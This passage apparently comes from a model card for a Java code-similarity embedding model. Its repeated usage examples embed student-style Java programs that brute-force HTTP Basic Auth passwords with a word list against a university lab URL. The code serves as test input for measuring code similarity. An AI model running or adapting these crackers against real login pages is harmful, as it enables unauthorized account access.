[c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array 